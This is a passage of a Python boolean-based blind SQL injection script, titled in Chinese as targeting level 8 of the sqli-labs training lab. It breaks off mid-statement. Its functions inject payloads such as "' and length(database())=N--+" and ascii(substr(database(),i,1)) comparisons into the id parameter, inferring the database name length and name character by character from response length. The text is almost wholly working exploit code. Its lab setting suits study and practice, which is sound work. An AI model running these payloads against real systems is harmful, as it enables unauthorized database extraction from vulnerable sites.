sqli-labs第八关布尔盲注脚本

import requests

def get_dbNamelen(url):
    #猜解数据库名字长度
    length=0
    while True:
        dbNameLen_url=url+"?id=1' and length(database())="+str(length)+"--+"
        #print(dbNameLen_url)
        res=requests.get(dbNameLen_url)
        if len(res.text)==NormalLen:
            print("The Length of database is: "+str(length))
            break
        else:
            length+=1
            
    return length
    

def get_dbName(url,length):
    #猜解数据库名
    dbName=""
    for i in range(1,int(length)+1):
        for a in range(97,123):
            dbName_url=url+"?id=1' and ascii(substr(database(),"+str(i)+",1))="+str(a)+"--+"
            #print(dbName_url)
            if len(requests.get(dbName_url).text)==NormalLen:
                dbName += chr(a)
                break
    print("The name